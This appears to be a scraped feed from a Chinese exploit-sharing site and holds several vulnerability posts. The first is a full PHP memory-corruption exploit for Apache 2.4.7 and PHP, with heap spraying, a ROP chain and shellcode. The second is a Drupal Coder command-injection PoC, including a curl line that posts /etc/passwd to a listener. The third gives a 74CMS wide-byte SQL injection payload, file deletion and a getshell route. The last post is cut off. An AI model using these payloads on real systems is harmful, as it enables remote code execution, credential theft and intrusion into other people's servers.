Quantcast
Channel: 漏洞时代 - 最新漏洞_0DaY5.CoM
Viewing all 77 articles
Browse latest View live

Apache 2.4.7 & PHP

$
0
0

<?php

// Source: http://akat1.pl/?id=1

function get_maps() {
        $fh = fopen("/proc/self/maps", "r");
        $maps = fread($fh, 331337);
        fclose($fh);
        return explode("\n", $maps);
}

function find_map($sym) {
    $addr = 0;
    foreach(get_maps() as $record)
        if (strstr($record, $sym) && strstr($record, "r-xp")) {
            $addr = hexdec(explode('-', $record)[0]);
            break;
        }

    if ($addr == 0)
            die("[-] can't find $sym base, you need an information leak :[");

    return $addr;
}

function fill_buffer($offset, $content) {
    global $buffer;
    for ($i = 0; $i < strlen($content); $i++)
        $buffer[$offset + $i] = $content[$i];
    return;
}

$pre = get_maps();
$buffer = str_repeat("\x00", 0xff0000);
$post = get_maps();

$tmp = array_diff($post, $pre);

if (count($tmp) != 1)
        die('[-] you need an information leak :[');

$buffer_base = hexdec(explode('-',array_values($tmp)[0])[0]);
$addr = $buffer_base+0x14; /* align to string */

echo "[+] buffer string @ 0x".dechex($addr)."\n";

$align = 0xff;
$addr += $align;

echo "[+] faking EVP_PKEY @ 0x".dechex($addr)."\n";
echo "[+] faking ASN @ 0x".dechex($addr)."\n";
fill_buffer($align + 12, pack('P', $addr));

$libphp_base = find_map("libphp7");
echo "[+] libphp7 base @ 0x".dechex($libphp_base)."\n";

/* pop x ; pop rsp ; ret - stack pivot */
$rop_addr = $libphp_base + 0x00000000004a79c3;
echo "[+] faking pkey_free @ 0x".dechex($addr+0xa0-4)." = ".dechex($rop_addr)."\n";
fill_buffer($align + 0xa0 - 4, pack('P', $rop_addr));

/* pop rbp ; pop rbp ; ret - clean up the stack after pivoting */
$rop_addr = $libphp_base + 0x000000000041d583;
fill_buffer($align - 4, pack('P', $rop_addr));

$libc_base = find_map("libc-");
echo "[+] libc base @ 0x".dechex($libc_base)."\n";

$mprotect_offset = 0xf4a20;
$mprotect_addr = $libc_base + $mprotect_offset;
echo "[+] mprotect @ 0x".dechex($mprotect_addr)."\n";

$mmap_offset = 0xf49c0;
$mmap_addr = $libc_base + $mmap_offset;
echo "[+] mmap @ 0x".dechex($mmap_addr)."\n";

$apache2_base = find_map("/usr/sbin/apache2");
echo "[+] apache2 base @ 0x".dechex($apache2_base)."\n";

$ap_rprintf_offset = 0x429c0;
$ap_rprintf_addr = $apache2_base + $ap_rprintf_offset;
echo "[+] ap_rprintf @ 0x".dechex($ap_rprintf_addr)."\n";

$ap_hook_quick_handler_offset = 0x56c00;
$ap_hook_quick_handler_addr = $apache2_base + $ap_hook_quick_handler_offset;
echo "[+] ap_hook_quick_handler @ 0x".dechex($ap_hook_quick_handler_addr)."\n";

echo "[+] building ropchain\n";
$rop_chain =
        pack('P', $libphp_base + 0x00000000000ea107) .  // pop rdx ; ret
        pack('P', 0x0000000000000007) .                 // rdx = 7
        pack('P', $libphp_base + 0x00000000000e69bd) .  // pop rsi ; ret
        pack('P', 0x0000000000004000) .                 // rsi = 0x1000
        pack('P', $libphp_base + 0x00000000000e5fd8) .  // pop rdi ; ret
        pack('P', $addr ^ ($addr & 0xffff)) .           // rdi = page aligned addr
        pack('P', $mprotect_addr) .                     // mprotect addr
        pack('P', ($addr ^ ($addr & 0xffff)) | 0x10ff); // return to shellcode_stage1
fill_buffer($align + 0x14, $rop_chain);

$shellcode_stage1 = str_repeat("\x90", 512) .
        "\x48\xb8" . pack('P', $buffer_base + 0x2018) .         // movabs shellcode_stage2, %rax
        "\x49\xb8" . pack('P', 0x1000) .                        // handler size
        "\x48\xb9" . pack('P', $buffer_base + 0x3018) .         // handler
        "\x48\xba" . pack('P', $ap_hook_quick_handler_addr) .   // movabs ap_hook_quick_handler, %rdx
        "\x48\xbe" . pack('P', 0) .                             // UNUSED
        "\x48\xbf" . pack('P', $mmap_addr) .                    // movabs mmap,%rdi
        "\xff\xd0" .                                            // callq %rax
        "\xb8\x27\x00\x00\x00" .                                // mov $0x27,%eax - getpid syscall
        "\x0f\x05" .                                            // syscall
        "\xbe\x1b\x00\x00\x00" .                                // mov $0xd,%esi - SIGPROF
        "\x89\xc7" .                                            // mov %eax,%edi - pid
        "\xb8\x3e\x00\x00\x00" .                                // mov $0x3e,%eax  - kill syscall
        "\x0f\x05";                                             // syscall
fill_buffer(0x1000, $shellcode_stage1);

$shellcode_stage2 = str_repeat("\x90", 512) .
        "\x55" .                        // push   %rbp
        "\x48\x89\xe5" .                // mov    %rsp,%rbp
        "\x48\x83\xec\x40" .            // sub    $0x40,%rsp
        "\x48\x89\x7d\xe8" .            // mov    %rdi,-0x18(%rbp)
        "\x48\x89\x75\xe0" .            // mov    %rsi,-0x20(%rbp)
        "\x48\x89\x55\xd8" .            // mov    %rdx,-0x28(%rbp)
        "\x48\x89\x4d\xd0" .            // mov    %rcx,-0x30(%rbp)
        "\x4c\x89\x45\xc8" .            // mov    %r8,-0x38(%rbp)
        "\x48\x8b\x45\xe8" .            // mov    -0x18(%rbp),%rax
        "\x41\xb9\x00\x00\x00\x00" .    // mov    $0x0,%r9d
        "\x41\xb8\xff\xff\xff\xff" .    // mov    $0xffffffff,%r8d
        "\xb9\x22\x00\x00\x00" .        // mov    $0x22,%ecx
        "\xba\x07\x00\x00\x00" .        // mov    $0x7,%edx
        "\xbe\x00\x20\x00\x00" .        // mov    $0x2000,%esi
        "\xbf\x00\x00\x00\x00" .        // mov    $0x0,%edi
        "\xff\xd0" .                    // callq  *%rax
        "\x48\x89\x45\xf0" .            // mov    %rax,-0x10(%rbp)
        "\x48\x8b\x45\xf0" .            // mov    -0x10(%rbp),%rax
        "\x48\x89\x45\xf8" .            // mov    %rax,-0x8(%rbp)
        "\xeb\x1d" .                    // jmp    0x40063d <shellcode+0x6d>
        "\x48\x8b\x45\xf8" .            // mov    -0x8(%rbp),%rax
        "\x48\x8d\x50\x01" .            // lea    0x1(%rax),%rdx
        "\x48\x89\x55\xf8" .            // mov    %rdx,-0x8(%rbp)
        "\x48\x8b\x55\xd0" .            // mov    -0x30(%rbp),%rdx
        "\x48\x8d\x4a\x01" .            // lea    0x1(%rdx),%rcx
        "\x48\x89\x4d\xd0" .            // mov    %rcx,-0x30(%rbp)
        "\x0f\xb6\x12" .                // movzbl (%rdx),%edx
        "\x88\x10" .                    // mov    %dl,(%rax)
        "\x48\x8b\x45\xc8" .            // mov    -0x38(%rbp),%rax
        "\x48\x8d\x50\xff" .            // lea    -0x1(%rax),%rdx
        "\x48\x89\x55\xc8" .            // mov    %rdx,-0x38(%rbp)
        "\x48\x85\xc0" .                // test   %rax,%rax
        "\x75\xd2" .                    // jne    0x400620 <shellcode+0x50>
        "\x48\x8b\x7d\xf0" .            // mov    -0x10(%rbp),%rdi
        "\x48\x8b\x45\xd8" .            // mov    -0x28(%rbp),%rax
        "\xb9\xf6\xff\xff\xff" .        // mov    $0xfffffff6,%ecx
        "\xba\x00\x00\x00\x00" .        // mov    $0x0,%edx
        "\xbe\x00\x00\x00\x00" .        // mov    $0x0,%esi
        "\xff\xd0" .                    // callq  *%rax
        "\xc9" .                        // leaveq
        "\xc3";                         // retq
fill_buffer(0x2000, $shellcode_stage2);

$handler =
        "\x55" .                                    // push   %rbp
        "\x48\x89\xe5" .                            // mov    %rsp,%rbp
        "\x48\x83\xec\x30" .                        // sub    $0x30,%rsp
        "\x48\x89\x7d\xd8" .                        // mov    %rdi,-0x28(%rbp)
        "\x48\xb8" . pack('P', $ap_rprintf_addr) .  // movabs $0xdeadbabefeedcafe,%rax
        "\x48\x89\x45\xf8" .                        // mov    %rax,-0x8(%rbp)
        "\x48\xb8" . "Hello Wo" .                   // movabs CONTENT,%rax
        "\x48\x89\x45\xe0" .                        // mov    %rax,-0x20(%rbp)
        "\x48\xb8" . "rld!\n\x00\x00\x00" .         // movabs CONTENT,%rax
        "\x48\x89\x45\xe8" .                        // mov    %rax,-0x20(%rbp)
        "\x48\x8d\x4d\xe0" .                        // lea    -0x20(%rbp),%rcx
        "\x48\x8b\x55\xd8" .                        // mov    -0x28(%rbp),%rdx
        "\x48\x8b\x45\xf8" .                        // mov    -0x8(%rbp),%rax
        "\x48\x89\xce" .                            // mov    %rcx,%rsi
        "\x48\x89\xd7" .                            // mov    %rdx,%rdi
        "\xff\xd0" .                                // callq  *%rax
        "\xb8\x00\x00\x00\x00" .                    // mov    $0x0,%eax
        "\xc9" .                                    // leaveq
        "\xc3";                                     // retq
fill_buffer(0x3000, $handler);

$addr = pack('P', $addr);
$memory = str_repeat($addr,321);

$pem = "
-----BEGIN PUBLIC KEY-----
MCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRANG2dvm8oNiH3IciNd44VZcCAwEAAQ==
-----END PUBLIC KEY-----"; /* Random RSA key */

$a = array_fill(0,321,0);
/* place valid keys at the beginning */ 
$k = openssl_pkey_get_public($pem);
$a[0] = $k; $a[1] = $k; $a[2] = $k;
echo "[+] spraying heap\n";
$x = array();
for ($i = 0 ; $i < 20000 ; $i++) {
        $x[$i] = str_repeat($memory, 1);
}
for ($i = 0 ; $i < 20000 ; $i++) {
        unset($x[$i]);
}
unset($x);
echo "[+] triggering openssl_seal()...\n";
@openssl_seal($_, $_, $_, $a);
echo "[-] failed ;[\n";


Drupal Coder 模块远程命令执行分析(SA-CONTRIB-2016-039)

$
0
0

作者:曾鸿坤@安恒安全研究院、黄伟杰@安恒安全研究院

背景:

今年7月13日,Drupal发布了一个高危漏洞公告(DRUPAL-SA-CONTRIB-2016-039),即Coder模块的远程代码执行(在没有启用模块的情况下,漏洞也可以被触发)。
但是这个模块不是Drupal默认自带的模块,所以影响范围有限。

Drupal的Coder模块主要有以下两个功能:

  1. 用来检查代码文件是否符合Drupal编码标准,是否兼容当前版本的Drupal API。
  2. 用来将旧模块升级至符合当前Drupal标准的模块。

影响范围:

Coder module 7.x-1.x versions prior to 7.x-1.3.
Coder module 7.x-2.x versions prior to 7.x-2.6.

分析

测试环境:Drupal 7.50, Coder 7.x-2.5.

我们从网上找到个现有的POC (https://gist.github.com/Raz0r/7b7501cb53db70e7d60819f8eb9fcef5),内容如下:

<?php
# Drupal module Coder Remote Code Execution (SA-CONTRIB-2016-039)
# https://www.drupal.org/node/2765575
# by Raz0r (http://raz0r.name)
 
$cmd = "curl -XPOST http://localhost:4444 -d @/etc/passwd";
$host = "http://localhost:81/drupal-7.12/";
 
$a = array(
    "upgrades" => array(
        "coder_upgrade" => array(
            "module" => "color",
            "files" => array("color.module")
        )
    ),
    "extensions" => array("module"),
    "items" => array (array("old_dir"=>"test; $cmd;", "new_dir"=>"test")),
    "paths" => array(
        "modules_base" => "../../../",
        "files_base" => "../../../../sites/default/files"
    )
);
$payload = serialize($a);
file_get_contents($host . "/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));
?>

但是在我们的环境下,上面POC无法正常使用。然后就开始了我们的修改POC和分析漏洞之路。

在文件/sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php的开头,有这样两行代码:

set_error_handler("error_handler");
set_exception_handler("exception_handler");

导致后面代码碰到Warning后都会自动退出,所以整个POC之路有点曲折。

0. 我们先快速查找下导致命令注入的位置。

通过POC可知是从items[‘old_dir’]注入命令,所以我们跟踪$items这个变量,得到以下路线。

  • 从coder_upgrade.run.php开始->$item变量进入coder_upgrade_start($upgrades, $extensions, $items)这个函数.
  • coder_upgrade_start函数声明在main.inc文件, 之后$items变成$item进入coder_upgrade_make_patch_file($item, $_coder_upgrade_replace_files)函数。
  • coder_upgrade_make_patch_file函数声明在仍然在main.inc文件,最后$item内的old_dir和new_dir被取出,进入shell_exec(“diff -up -r {$old_dir} {$new_dir} > {$patch_filename}”);,从而导致命令注入。

1. 下面我们看coder_upgrade.run.php的代码:

...//ignore
$usage = array();
save_memory_usage('start', $usage);
 
define('DRUPAL_ROOT', getcwd());
 
ini_set('display_errors', 1);
ini_set('memory_limit', '128M');
ini_set('max_execution_time', 180);
set_error_handler("error_handler");
set_exception_handler("exception_handler");
 
$path = extract_arguments(); //1.1.即获取$_GET['file']
if (is_null($path)) {
  echo 'No path to parameter file';
  return 2;
}
 
// Load runtime parameters.
$parameters = unserialize(file_get_contents($path)); //1.2.此处到下面三行实现变量覆盖
foreach ($parameters as $key => $variable) {
  $$key = $variable;
}
save_memory_usage('load runtime parameters', $usage);
 
// Set global variables (whose names do not align with extracted parameters).
$_coder_upgrade_variables = $variables; //1.3.此处$variables需要覆盖,不然会产生未声明变量警告而退出。
$_coder_upgrade_files_base = $paths['files_base']; //1.4. $path要覆盖,不然也会产生警告,下面两行同样情况。
$_coder_upgrade_libraries_base = $paths['libraries_base'];
$_coder_upgrade_modules_base = $paths['modules_base'];
 
// Load core theme cache.
$_coder_upgrade_theme_registry = array();
if (is_file($theme_cache)) { //1.5.$theme_cache需要覆盖
  $_coder_upgrade_theme_registry = unserialize(file_get_contents($theme_cache));
}
save_memory_usage('load core theme cache', $usage);
 
// Load coder_upgrade bootstrap code.
$path = $_coder_upgrade_modules_base . '/coder/coder_upgrade';
$files = array(
  'coder_upgrade.inc',
  'includes/main.inc',
  'includes/utility.inc',
);
foreach ($files as $file) {
  require_once DRUPAL_ROOT . '/' . $path . "/$file"; //1.6.此处需要正常包含文件,不能产生警告,POC里面的modules_base=>`../../../`,此时的目录结构可以符合条件。
}
 
coder_upgrade_path_clear('memory'); //1.7.此处会将一些调试信息写入指定文件,写入目录由POC里面的files_base指定,但是POC里面的`../../../../sites/default/files`,在我们的测试环境下,并没有这个目录,导致会产生警告而退出,所以我们将它修改为coder模块的目录`../..`,这样也避免了环境不同而导致POC不能使用。
print_memory_usage($usage);
coder_upgrade_memory_print('load coder_upgrade bootstrap code');
 
$success = coder_upgrade_start($upgrades, $extensions, $items); //1.8.此处是关键,命令注入的入口。

所以要执行到coder_upgrade_start,同时满足上面分析的所有条件,POC已经被我们修改为:

$host = "http://localhost:82/";
 
$a = array(
    "upgrades" => array(
        "coder_upgrade" => array(
            "module" => "color",
            "files" => array("color.module")
        )
    ),
    "variables" => 1,
    "theme_cache" => 1,
    "extensions" => array("module"),
    "items" => array (array("old_dir"=>"test;touch 123;", "new_dir"=>"test")),
    "paths" => array(
        "modules_base" => "../../../",
        "files_base" => "../..",
        "libraries_base" => 1
    )
);
$payload = serialize($a);
file_get_contents($host . "/sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));

2. 接下来,我们看coder_upgrade_start函数的声明:

在/sites/all/modules/coder/coder_upgrade/includes/main.inc文件中:

function coder_upgrade_start($upgrades, $extensions, $items, $recursive = TRUE) {
  // Declare global variables.
  global $_coder_upgrade_log, $_coder_upgrade_debug, $_coder_upgrade_module_name, $_coder_upgrade_replace_files, $_coder_upgrade_class_files;
 
  // Check lists in case this function is called apart from form submit.
  if (!is_array($upgrades) || empty($upgrades)) {
    return FALSE;
  }
  if (!is_array($extensions) || empty($extensions)) {
    return FALSE;
  }
  if (!is_array($items) || empty($items)) {
    return FALSE;
  }
 
  $_coder_upgrade_log = TRUE;
  if ($_coder_upgrade_log) {
    // Clear the log file.
    coder_upgrade_path_clear('log');
    if (!variable_get('coder_upgrade_use_separate_process', FALSE)) {
      coder_upgrade_path_clear('memory');
    }
    coder_upgrade_memory_print('initial');
  }
  // Set debug output preference.
  $_coder_upgrade_debug = variable_get('coder_upgrade_enable_debug_output', FALSE);
  if ($_coder_upgrade_debug) {
    // Clear the debug file.
    coder_upgrade_path_clear('debug');
  }
 
  // Load code.
  coder_upgrade_load_code($upgrades); //2.1.我们调试到此处程序退出运行,经分析是因为包含文件出错。这个函数可理解为:require(modules目录.$upgrades['coder_upgrade']['module'].$upgrades['coder_upgrade']['files'][0]),即包含模块目录下的某些文件。POC里面的意思是包含color模块下的color.module文件。但是可能还是因为环境不同,我们modules目录下并没有color这个模块,所以我们还是选择coder模块本身。
  coder_upgrade_load_parser();
 
  // Set file replacement parameter.
  $_coder_upgrade_replace_files = variable_get('coder_upgrade_replace_files', FALSE);
  // Initialize list of class files.
  $_coder_upgrade_class_files = array();
 
  // Loop on items.
  foreach ($items as $item) {
    $_coder_upgrade_module_name = '';
//    $_coder_upgrade_dirname = $item['old_dir'];
 
    if (!isset($_SERVER['HTTP_USER_AGENT']) || strpos($_SERVER['HTTP_USER_AGENT'], 'simpletest') === FALSE) {
      // Process the directory before conversion routines are applied.
      // Note: if user agent is not set, then this is being called from CLI.
      coder_upgrade_convert_begin($item);
    }
 
    // Call main conversion loop.
    coder_upgrade_convert_dir($upgrades, $extensions, $item, $recursive); //2.2.此处是修改完POC后另一处退出运行的地方,也是整个分析过程比较有意思的地方,跟踪函数(到第3点)。
 
    // Apply finishing touches to the directory.
    // Swap directories if files are replaced.
    $new_dir = $_coder_upgrade_replace_files ? $item['old_dir'] : $item['new_dir'];
    coder_upgrade_convert_end($new_dir);
 
    // Make a patch file.
    coder_upgrade_make_patch_file($item, $_coder_upgrade_replace_files);
  }
 
  return TRUE;
}

“2.1后”,我们的POC被修改为:

$host = "http://localhost:82/";
 
$a = array(
    "upgrades" => array(
        "coder_upgrade" => array(
            "module" => "coder",
            "files" => array("coder.module")
        )
    ),
    "variables" => 1,
    "theme_cache" => 1,
    "extensions" => array("module"),
    "items" => array (array("old_dir"=>"test;touch 123;", "new_dir"=>"test")),
    "paths" => array(
        "modules_base" => "../../../",
        "files_base" => "../..",
        "libraries_base" => 1
    )
);
$payload = serialize($a);
file_get_contents($host . "/sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));

3. 跟踪coder_upgrade_convert_dir函数:

function coder_upgrade_convert_dir($upgrades, $extensions, $item, $recursive = TRUE) {
  global $_coder_upgrade_filename; // Not used by this module, but other modules may find it useful.
  static $ignore = array(/*'.', '..', '.bzr', '.git', '.svn',*/ 'CVS');
  global $_coder_upgrade_module_name, $_coder_upgrade_replace_files;
 
  $dirname = $item['old_dir'];
  $new_dirname = $item['new_dir'];
 
  // Create an output directory we can write to.
  if (!is_dir($new_dirname)) { //3.1.此处会获取我们可控的new_dir,新建一个目录
    mkdir($new_dirname);
    chmod($new_dirname, 0757);
  }
  else {
    coder_upgrade_clean_directory($new_dirname);
  }
  ...//ignore
  coder_upgrade_module_name($dirname, $item); //3.2.此处会scandir($dirname),如果$dirname目录不存在则会产生警告退出运行。dirname即POC里的old_dir,我们需要old_dir为一个已经存在的目录,但是如果下面程序会对那个目录下的文件产生其它操作,可能影响系统的正常功能。这时我们想到了上面3.1的创建目录。只需new_dir和old_dir相同,scandir(old_dir)即可正常运行,还不会影响系统其它文件。
  $_coder_upgrade_module_name = $item['module'] ? $item['module'] : $_coder_upgrade_module_name;
 
  // Loop on files.
  $filenames = scandir($dirname . '/');//3.3.此处同3.2
  foreach ($filenames as $filename) {
    $_coder_upgrade_filename = $dirname . '/' . $filename;
    if (is_dir($dirname . '/' . $filename)) {
      if (substr(basename($filename), 0, 1) == '.' || in_array(basename($filename), $ignore)) {
        // Ignore all hidden directories and CVS directory.
        continue;
      }
      $new_filename = $filename;
      // Handle D6 conversion item #79.
      if ($filename == 'po') {
        $new_filename = 'translations';
      }
      if ($recursive) {
        // TODO Fix this!!!
        $new_item = array(
          'name' => $item['name'],
          'old_dir' => $dirname . '/' . $filename,
          'new_dir' => $new_dirname . '/' . $filename,
        );
        coder_upgrade_convert_dir($upgrades, $extensions, $new_item, $recursive);
        // Reset the module name.
        $_coder_upgrade_module_name = $item['module'];
      }
    }
    elseif (in_array($extension = pathinfo($filename, PATHINFO_EXTENSION), array_keys($extensions))) {
      copy($dirname . '/' . $filename, $new_dirname . '/' . $filename);
      if ($extension == 'php' && substr($filename, -8) == '.tpl.php') {
        // Exclude template files.
        continue;
      }
      coder_upgrade_log_print("\n*************************");
      coder_upgrade_log_print('Converting the file => ' . $filename);
      coder_upgrade_log_print("*************************");
      coder_upgrade_convert_file($dirname . '/' . $filename, $new_dirname . '/' . $filename, $_coder_upgrade_replace_files);
    }
    elseif (in_array($extension, array('inc', 'install', 'module', 'php', 'profile', 'test', 'theme', 'upgrade'))) {
      copy($dirname . '/' . $filename, $new_dirname . '/' . $filename);
      // Check for a class declaration for use in the info file.
      coder_upgrade_class_check($new_dirname . '/' . $filename);
    }
    else {
      copy($dirname . '/' . $filename, $new_dirname . '/' . $filename);
    }
  }
}

“3.3后”,POC修改为:

$host = "http://localhost:82/";
 
$a = array(
    "upgrades" => array(
        "coder_upgrade" => array(
            "module" => "coder",
            "files" => array("coder.module")
        )
    ),
    "variables" => 1,
    "theme_cache" => 1,
    "extensions" => array("module"),
    "items" => array (array("old_dir"=>"test;touch 123;", "new_dir"=>"test;touch 123;")),
    "paths" => array(
        "modules_base" => "../../../",
        "files_base" => "../..",
        "libraries_base" => 1
    )
);
$payload = serialize($a);
file_get_contents($host . "/sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));

我们回到2的coder_upgrade_start函数,此时我们已经可以进入coder_upgrade_make_patch_file函数,下面看coder_upgrade_make_patch_file函数的声明:

function coder_upgrade_make_patch_file($item, $_coder_upgrade_replace_files = FALSE) {
  // Patch directory.
  $patch_dir = coder_upgrade_directory_path('patch');
 
  // Make a patch file.
  coder_upgrade_log_print("\n*************************");
  coder_upgrade_log_print('Creating a patch file for the directory => ' . $item['old_dir']);
  coder_upgrade_log_print("*************************");
  $patch_filename = $patch_dir . $item['name'] . '.patch'; //4.1.此处还有一个$item['name']在POC里面没有声明,所以程序到这里还是会退出运行,所以我们只需最后再修改下POC。
  // Swap directories if files are replaced.
  $old_dir = $_coder_upgrade_replace_files ? $item['new_dir'] : $item['old_dir'];
  $new_dir = $_coder_upgrade_replace_files ? $item['old_dir'] : $item['new_dir'];
  coder_upgrade_log_print("Making patch file: diff -up -r {$old_dir} {$new_dir} > {$patch_filename}");
  shell_exec("diff -up -r {$old_dir} {$new_dir} > {$patch_filename}");
 
  // Remove the path strings from the patch file (for usability purposes).
  $old1 = $old_dir . '/';
  $new1 = $new_dir . '/';
  $contents = file_get_contents($patch_filename);
  file_put_contents($patch_filename, str_replace(array($old1, $new1), '', $contents));
}

我们最终POC为:

$host = "http://localhost:82/";
 
$a = array(
    "upgrades" => array(
        "coder_upgrade" => array(
            "module" => "coder",
            "files" => array("coder.module")
        )
    ),
    "variables" => 1,
    "theme_cache" => 1,
    "extensions" => array("module"),
    "items" => array (array("old_dir"=>"test;touch 123;", "new_dir"=>"test;touch 123;", "name"=>1)),
    "paths" => array(
        "modules_base" => "../../../",
        "files_base" => "../..",
        "libraries_base" => 1
    )
);
$payload = serialize($a);
file_get_contents($host . "/sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));

 

74CMS多处注入漏洞以及后台getshell

$
0
0

版本是74cms_v3.6_20150902,最新的已经修复。

第一个逻辑漏洞是短信发送处的问题,在ajax_user.php文件中,原代码片段如下:

$mobile=trim($_POST['mobile']); 
$sms_type=$_POST['sms_type']?$_POST['sms_type']:"reg"; 
if (empty($mobile) || !preg_match("/^(13|15|14|17|18)\d{9}$/",$mobile)) 
{ 
    exit("手机号错误"); 
} 
$rand=mt_rand(100000, 999999);        
switch ($sms_type) { 
    case 'reg': $sms_str="您正在注册{$_CFG['site_name']}的会员,手机验证码为:{$rand},此验证码有效期为10分钟"; break; 
    case 'getpass': $sms_str="您正在找回{$_CFG['site_name']}的会员密码,手机验证码为:{$rand},此验证码有效期为10分钟"; break; 
} 
if($_SESSION['verify_mobile']==$mobile && time()<$_SESSION['send_time']+180) 
{ 
    exit("180秒内仅能获取一次短信验证码,请稍后重试"); 
} 
else { 
    $r=send_sms($mobile,$sms_str); 
} 
if ($r=="success"){ 
$_SESSION['mobile_rand']=substr(md5($rand), 8,16);  $_SESSION['send_time']=time();  $_SESSION['verify_mobile']=$mobile;     exit("success"); 
} 
else { exit("SMS配置出错,请联系网站管理员"); }

可以看出,这里每次会把这次输入的手机号和session中记录的手机号做验证,如果相同并且时间间隔不够3分钟,那么就会报错,但是这里有一个问题,就是每次输入了手机号后如果成功发送了短信,那么就会覆盖掉session中的手机号,所以我们只需要轮询两个正常的手机号即可越过限制。目前版本已经修复,修复方法也很简单,就是先做一个时间验证即可,不管输入的手机号是多少,发短信的时间间隔不可少于60s,很聪明的fix。
后台还有一个任意文件删除的问题,文件是admin/admin_article.php,这里会删除掉$_GET来的img指向的文件,代码片段如下:

$id=intval($_GET['id']); 
$img=$_GET['img']; 
$img=str_replace("../","***",$img); 
$sql="update ".table('article')." set Small_img='' where id=".$id." LIMIT 1"; 
$db->query($sql); 
@unlink($upfiles_dir.$img); 
@unlink($thumb_dir.$img);

看到这里过滤了../,然而在windows下使用..\也是可以的,所以可以任意删除文件。

2.后台getshell
后台GetShell的方法不少,这里算是其中一个,而且估计不会在短期内修补,因为算是一个正常的系统功能。
这个GetShell的方法很简单,就是先通过普通会员的头像文件上传,传上来有要执行的代码的图片,后台在包含进来即可。
思路就是这样,那么前台头像上传必须要没有验证上传的文件内容,看代码:

$savePath = "../../data/avatar/100/";  //图片存储路径
   $savePathThumb = "../../data/avatar/48/";  //图片存储路径
   $savePicName = time();//图片存储名称
   $file_src = $savePath.$savePicName."_src.jpg";
   $filename150 = $savePath.$savePicName.".jpg"; 
   $filename50 = $savePathThumb.$savePicName.".jpg"; 
   $src=base64_decode($_POST['pic']);
   $pic1=base64_decode($_POST['pic1']);   
   $pic2=base64_decode($_POST['pic2']);
   if($src) {
            file_put_contents($file_src,$src);
   }
   file_put_contents($filename150,$pic1);

这里直接fileput_contents了,不过可惜没办法控制文件名,一般来说这里就没啥用了,不过后台的一个任意文件包含就可以用上了。代码如下:

if (!empty($crons))
    {
            if (!file_exists(QISHI_ROOT_PATH."include/crons/".$crons['filename']))
            {
            adminmsg("任务文件 {$crons['filename']} 不存在!",0);
            }
    require_once(QISHI_ROOT_PATH."include/crons/".$crons['filename']);
    adminmsg("执行成功!",2);
    }

这个文件是在后台的计划任务管理那里,具体名字我也忘了……但是这个部分的目的是为了帮助管理员执行一些简单的任务,比如统计站点访问的情况或者其他的自定义代码,而这里的问题就是为了方便的做到统计的目的,这套cms在common.inc.php(具体名字忘了)里include了执行计划的代码,也就是说,只要后台添加了一个计划任务,前台即可执行。
验证方法也很简单,这里大家可以做一个phpinfo的文件添加到计划任务,再访问下主页即可看见主页上用户登录处出现了phpinfo的结果。
由于这个计划任务的功能是系统功能的一部分,估计不会做啥修复,不过前台头像上传可能做一些修改,但是也不怕,这里其实还有一个问题。
就是CSRF,虽然他有一个防CSRF的功能,但是他在后台竟然有个可以关闭CSRF的开关,那么出于方便或者啥的原因,如果管理员关闭了CSRF,那么只要管理员看见了一个精心构造的图片即可getshell(不过这可能性很低)。
3.sql注入
文件位置: ajax_user.php,当act为get_pass_check时,出现了注入,代码如下:

require_once(QISHI_ROOT_PATH.'include/fun_user.php'); 
$username=$_POST['username']?trim($_POST['username']):exit("false"); 
if (preg_match("/^\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$/",$username)) 
{ 
    $usinfo=get_user_inemail($username); 
} 
elseif (preg_match("/^(13|14|15|18|17)\d{9}$/",$username)) { 
$usinfo=get_user_inmobile($username); 
} 
else 
{ 
    $usinfo=get_user_inusername($username); 
}

这里没有对$username做过滤,不过全局有addslash,但是这里可以宽字节注入,那么就可以注入了。DEMO站示意图:
正常请求:
1
这里反回了false,因为不存在这个用户,那么换个payload:

sunrain%df%27%20or%20%df%271%df%27=%df%271

这句话就是简单地or 1=1,如果可以注入,那么应该是返回true的:
1

后台注入还是不少,这里列出两个:
第一处: admin_category.php文件,当act是edit_color_save时,直接执行了如下语句:

$info=get_color_one($_POST['id']);

跟入函数:

function get_color_one($id) { 
global $db; 
$sql = "select * from ".table('color')." WHERE id=".$id.""; 
return $db->getone($sql); 
}

发现这里没有引号,所以可以注入。
1
第二处: 在admin_baiduxml.php文件中,当act是setsave时,执行了如下语句:

foreach($_POST as $k => $v) { 
    !$db->query("UPDATE ".table('baiduxml')." SET value='{$v}' WHERE name='{$k}'")?adminmsg('保存失败', 1):""; 
}

所以注入就很明显了:
1

from:http://www.cnblogs.com/yuris115/p/5724661.html

ecshop 后台注入

$
0
0

测试版本是v3.0.0 RELEASE 20160518。由于全局包含了一个文件

require_once(dirname(__FILE__) . '/safety.php');

然而这个正则还无法绕过

$args_arr=array(
'xss'=>"[\\'\\\"\\;\\*\\<\\>].*\\bon[a-zA-Z]{3,15}[\\s\\r\\n\\v\\f]*\\=|\\b(?:expression)\\(|\\<script[\\s\\\\\\/]|\\b(?:eval|alert|prompt|msgbox)\\s*\\(|url\\((?:\\#|data|javascript)",
